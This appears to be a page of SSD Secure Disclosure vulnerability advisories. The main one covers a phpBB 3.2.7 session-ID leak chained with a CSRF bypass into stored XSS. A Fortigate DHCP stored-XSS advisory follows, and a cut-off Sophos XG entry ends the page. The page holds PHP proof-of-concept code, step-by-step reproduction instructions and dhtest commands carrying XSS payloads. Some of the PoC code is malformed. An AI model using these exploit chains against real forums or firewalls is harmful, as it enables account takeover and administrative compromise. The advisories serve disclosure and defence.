SSD Advisory – phpBB CSRF Token Hijacking leading to Stored XSS

Vulnerability Summary
When an admin accesses the Administrator Control Panel (ACP) in phpBB, a leftover session id GET parameter is present in the URL when he goes back to the Board index. Using a special remote avatar URL, an attacker can leak this session id value and perform a CSRF attack in order to create an XSS BBCode, allowing stored xss on the server.
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure Program.
Affected Systems
phpBB version 3.2.7
Vendor Response
The vulnerability was fixed in version 3.2.8
Vulnerability Details

0x01 – Leaking the administrator’s session ID

PhpBB3 is divided into two parts: a front and back end. The front end is used to create posts, manage profiles, send private messages etc. The back end, or Administration Control Panel, is used to manage the board itself and change crucial settings such as the upload path for uploaded attachments etc. It can also be used to perform sensitive actions such as database backups. The admin panel can only be accessed by administrators of a board.
When a user is also an administrator, he usually logs into the front end context. If the admin wants to access the back end, he has to log into it again by entering his credentials. This means phpBB3 separates the front end session and back end session, but they are not exclusive to each other.
What is interesting about the Admin Panel is that the session ID of the administrative user is reflected as a GET parameter. This means if it is possible to embed an external image with an attacker controlled domain, it would be possible to leak the admin session ID of the administrator via the HTTP referrer. The session ID is shown in the next image as the sid parameter.

Interestingly enough, when an administrator is finished with using the back end and leaves it via clicking the ‘Board Index’ link, he is redirected to the index page of the forum and the SID parameter is still attached as a GET parameter. This is shown in the following image:

As can be seen, the SID parameter is still set as a GET parameter and has the same value. I then looked at the index page of the front end and tried to come up with a way to embed a user controlled, external image into it so the SID parameter is leaked via the HTTP Referer.
As it turns out, achieving this task was easier than expected. If a targeted phpBB3 board has remote avatars enabled, a common setting that allows users to embed avatars from a remote URL instead of uploading them.
The next screenshot shows how an external image is embedded as an avatar from the URL

It is possible to then have this external image embedded into the index page of the front end system via the notification system. Whenever a user receives a notification, a short summary of the notification is displayed to him (on every page), along with the user avatar of the user who caused
the notification. An example screenshot of this is shown below:

As can be seen, the remote avatar is embedded into this page (the user does not have to click the notification bell, the image is always embedded).
This means as soon as an administrator leaves the ACP and his session ID is stored as a GET parameter and a notification for this user exists, his session ID can be leaked via the HTTP referer.
Notifications are generated when:

  • a user receives a PM
  • a user quotes him in a post
  • another user replies to the user’s thread
  • a new post has been made to a subscribed thread
0x02 – escalating the session ID leakage to Stored XSS

Being in possession of the session ID of the administrator is in and of it self not enough to log into his account. PhpBB3 sessions are bound to an IP.
The following is extracted from the phpBB3 Admin Dashboard, which explains the “IP Validation” setting:
“Determines how much of the users IP is used to validate a session; All compares the complete address, A.B.C the first x.x.x, A.B the first x.x, None disables checking. On IPv6 addresses A.B.C compares the first 4 blocks and A.B the first 3 blocks.”
This setting is per default set to A.B.C, so theoretically an attacker with enough resources and motivation could try to get an IP from the target’s carrier. However, there is a much simpler approach.
There exists a feature in the ACP that is vulnerable to CSRF attacks. This feature is the “custom Bbcode” feature. Like many other forums, phpBB3 allows forum users to use shortcodes such as [img][/img] in posts, private messages and threads that then turn into HTML code displayed to other users. PhpBB3 ships with a couple of default ones, like [img], [url], [I] etc. As the name of the custom Bbcode ACP feature suggests, it allows to create new bbcodes. The next screenshot shows an example of how such a new custom bbCode can lead to XSS:

Now, back to the CSRF vulnerability. PhpBB3 has two mechanisms in the ACP to prevent CSRF attacks:

  1. The SID of the admin MUST be sent via GET or Post
  2. A CSRF nonce is generated for each form

When looking at the source code behind this bbCode form, one interesting thing can be noticed:

// Set up general vars
$action    = $request->variable('action', '');
$bbcode_id = $request->variable('bbcode', 0);
$submit = $request->is_set_post('submit');
$this->tpl_name = 'acp_bbcodes';
$this->page_title = 'ACP_BBCODES';
$form_key = 'acp_bbcodes';
if ($submit && !check_form_key($form_key))
    trigger_error($user->lang['FORM_INVALID'] . adm_back_link($this->u_action),

(The code can be found in /includes/acp/acp_bbcodes.php in the method main)
This interesting thing is that the CSRF nonce is only checked when the POST parameter submit is set. If it is not, the nonce is not checked but execution continues normally. This means the second CSRF check for this form can be bypassed by simply not sending the submit POST parameter.
Since we are in possession of the first protection, the SID of the admin it is now possible to CSRF this form. Luckily, the variable() method of the request object returns either GET or POST variables, meaning it is possible to perform the entire CSRF via GET parameters.
As a result, the CSRF can be chained with the first vulnerability. By embedding an image with an external URL into the index page of the front end that points to an attacker server that waits for the SID parameter being leaked in the HTTP Referer and then redirects the request to the image in a way that it exploits the CSRF vulnerability in the ACP.
PoC code for this:

$target_url = "http://localhost/phpBB3-3.2.7/";
// put the desired shortcode here. {TEXT} is dynamic and allows for example
// [xss]customCode();[/xss] to turn into <script>customCode()</script>.
$custom_shortcode = "[xss]{TEXT}[/xss]";
// the HTML replacement. You can also hardcore the code between the script tags.
$shortcode_replacement = "<script>{TEXT}</script>";
// If a session ID is available, attempt the CSRF exploit
if(strpos($_SERVER['HTTP_REFERER'], 'sid') !== false) {
    // leak the session ID of the nonce
    $parts = parse_url($_SERVER['HTTP_REFERER']);
    parse_str($parts['query'], $query);
    if(!isset($query['sid'])) {
        header('Content-Type: image/png');
        $img = imagecreatefrompng('avatar.png');
    // build the CSRF payload
    $payload = http_build_query(
            'bbcode_match' => $custom_shortcode,
            'bbcode_tpl' => $shortcode_replacement,
            'i' => 'acp_bbcodes',
            'mode' => 'bbcodes',
            'action' => 'create',
            'sid' => $query['sid']
    // adm is the default admin URL
    $exploit_url = $target_url . "/adm/?" . $payload;
    header('Location: ' . $exploit_url);
} else {
    header('Content-Type: image/png');
    $img = imagecreatefrompng('avatar.png');

This code would create a XSS shortcode in the back end.

Steps to Recreate
  1. install the latest phpBB3 version and create an administrator account
  2. in the ACP, go to General ? Avatar settings and enable remote avatars
  3. upload the poc.php file, along with an avatar.png to a webserver
  4. edit the poc.php file so that the target URL etc are adjusted to your installation
  5. create a new forum user in another tab and authenticate as him
  6. set this users remote avatar by navigating to: /ucp.php ? Profile ? Edit avatar
  7. Set the remote avatar URL so that the URL ends with either .jpg or png. Example: Alternatively, you can just use .htaccess directives
    tohide the .php part of the URL.
  8. As the forum user, send the admin a PM (content does not matter)
  9. switch back to the admin user
  10. Go to the back end
  11. Click on Board index

You should then be able to see that a XSS shortcode has been created. This shortcode can now be abused by attackers to execute arbitrary XSS code in Private Messages, threads and posts to take over user accounts, read private messages of other users and posts that are not visible to the user. Furthermore, the attacker can XSS the admin to create and download for example database backups.

Additional Notes

Whenever a user logs into the front end of phpBB3, the front page is loaded with the SID parameter set as the GET parameter as well. This means it is possible to steal the SID of any user when they log in. However, the IP address validation makes this difficult to exploit.
It is also possible to exploit this vulnerability via CSRF entirely. When you load the forum (they are not protected by default via X-Frame-Options) in an iFrame and try to load the admin panel (per default the URL is /adm without supplying a valid SID as a GET parameter, the admin is redirected to the front page of the forum, with the admin SID set as a GET parameter.

SSD Advisory – Fortigate DHCP Stored XSS

Vulnerability Summary
The following advisory describes a Stored XSS Vulnerability found in Fortinet’s Fortigate Firewall(FortiOS) via an unauthenticated DHCP packet.
An independent Security Researcher, Toshitsugu Yoneyama, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
FortiOS v6.0.4 build 0231.
Vendor Response
Fortigate has fixed the vulnerability in FortiOS version 6.2.2
Vulnerability Details
An unauthenticated attacker can trigger a Stored XSS Vulnerability via a malicious DHCP packet in the Fortigate DHCP Monitor. This can happen if Device Detection is enabled through Network >Interface > Edit Interface > Device Detection

When this option is enabled the attacker may perform the following steps in order to exploit the vulnerability:

  1. Install dhtest or any other tool that can send arbitrary DHCP packets.
  2. Send a malicious DHCP packet. For example:
    #./dhtest-master/dhtest -i eth0 -m 12:34:56:78:90:12 -h "x<svg onload=alert();)>x"
        -m : mac address
        -h : hostname(dhcp option 12). The attacker can inject malicious scripts.
  3. Once the victim logs into Fortigate’s dashboard and goes to the “DHCP Monitor”
    (https://<ip>/ng/dhcp/monitor) the browser will execute the malicious script injected by the attacker.

But there are a few limitations:
The user’s input is validated, not allowing us to use tags like “<script src>”, “<img src=_onerror=>” and other similar options. There are also character count limits:

  • DHCP option 12 has a string size limit allowing only up to 256 characters. More information
    about this option is available in the RFC.
  • Fortigate’s string size can’t be longer than 128 characters.

However, Fortigate uses jQuery which allows the attacker to bypass the mentioned restrictions and execute arbitrary scripts using the following method:

#./dhtest-master/dhtest -i eth0 -m 12:34:56:78:90:12 -h "x<svg onmouseover=$.getScript('//')>x"

SSD安全公告-Sophos XG从未经身份验证的存储型XSS漏洞到Root访问

以下安全公告描述了在Sophos XG 17中发现的一个存储型XSS漏洞,成功利用该漏洞可以获取root访问。
Sophos XG防火墙“全新的控制中心为用户的网络提供前所未有的可视性。可以获得丰富的报告,还可以添加Sophos iView,以便跨多个防火墙进行集中报告。“

SSD Advisory – Sophos XG from Unauthenticated Persistent XSS to Unauthorized Root Access

Vulnerability Summary
The following advisory describes an unauthenticated persistent XSS that leads to unauthorized root access found in Sophos XG version 17.
Sophos XG Firewall “provides unprecedented visibility into your network, users, and applications directly from the all-new control center. You also get rich on-box reporting and the option to add Sophos iView for centralized reporting across multiple firewalls.”
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Sophos was informed of the vulnerability, their response was:

CVE: CVE-2017-18014